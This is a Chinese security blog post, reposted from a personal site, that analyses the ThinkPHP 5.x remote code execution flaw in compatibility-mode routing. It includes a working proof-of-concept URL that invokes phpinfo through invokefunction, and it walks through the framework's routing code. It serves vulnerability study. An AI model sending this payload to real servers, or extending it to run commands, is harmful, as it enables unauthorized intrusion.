Thinkphp 5.x RCE漏洞

admin 2024年8月6日13:27:29评论18 views字数 1802阅读6分0秒阅读模式

Thinkphp 5.x RCE漏洞

0x0 概要

Thinkphp为MVC处理结构,通过对路由的解析,使用控制器调用函数。
由于对兼容模式的路由处理没有进行过滤等,可以调用命名空间下的任意函数,从而产生了RCE漏洞。

0x1 基础知识

Thinkphp 兼容模式

兼容模式是用于不支持PATHINFO的特殊环境,使用时,URL地址形如:

  • http://localhost/?s=/home/user/login/var/value 或
  • ?s=module/controller/action

Thinkphp App类的内置函数调用

12345678
/** * 执行函数或者闭包方法 支持参数调用 * @access public * @param string|array|\Closure $function 函数或者闭包 * @param array $vars 变量 * @return mixed */  App::invokeFunction($function, $vars = [])

0x2 代码追踪

按照爆出phpinfo的执行过程跟踪。 POC中,使用invokefunction函数对phpinfo进行调用,且解析url中的vars,将其传入phpinfo中,payload为:

1
http://localhost:801/cms/thinkphp/thinkphp_5.0.22/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1

首先需要对thinkphp的路由操作做分析。 传入兼容模式的s,所以是对s进行路由

1234
// 未设置调度信息则进行 URL 路由检测            if (empty($dispatch)) {                $dispatch = self::routeCheck($request, $config);            }

跟踪至函数内:

12
// 路由检测(根据路由定义返回不同的URL调度)           $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

进一步跟踪:

123456789101112
if (false !== strpos($url, '?')) {           // [模块/控制器/操作?]参数1=值1&参数2=值2...           $info = parse_url($url);           $path = explode('/', $info['path']);           parse_str($info['query'], $var);       } elseif (strpos($url, '/')) {           // [模块/控制器/操作]           $path = explode('/', $url);       } else {           $path = [$url];       }       return [$path, $var];

可以看到,代码没有对操作做出任何过滤和检测,直接将模块、控制器(命名空间)和操作函数解析了。 运行到此处时,path已经被分割为三部分。 之后,代码就会执行解析好的函数:

1
$data = self::exec($dispatch, $config);

执行函数

1234567891011
if (is_callable([$instance, $action])) {           // 执行操作方法           $call = [$instance, $action];           // 严格获取当前操作方法名           $reflect    = new \ReflectionMethod($instance, $action);           $methodName = $reflect->getName();           $suffix     = $config['action_suffix'];           $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;           $request->action($actionName);       }

此时,invokefunction已经将传入的函数执行。

0x3 一些坑以及查阅资料得到

  • 对于windows和linux系统,该漏洞的触发情况不一样,windows系统是对大小写敏感的,所以一些函数无法调用。
  • 在本机(windows系统)下测试网上的写入webshell和执行系统命令的POC都失败了,并且在跟踪的过程中发现源代码也不太一样,一是本地测试使用的5.0.22非完整版本,二是本地服务器的安全设置问题。

- source:hachp1.github.io

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月6日13:27:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Thinkphp 5.x RCE漏洞https://cn-sec.com/archives/3039035.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息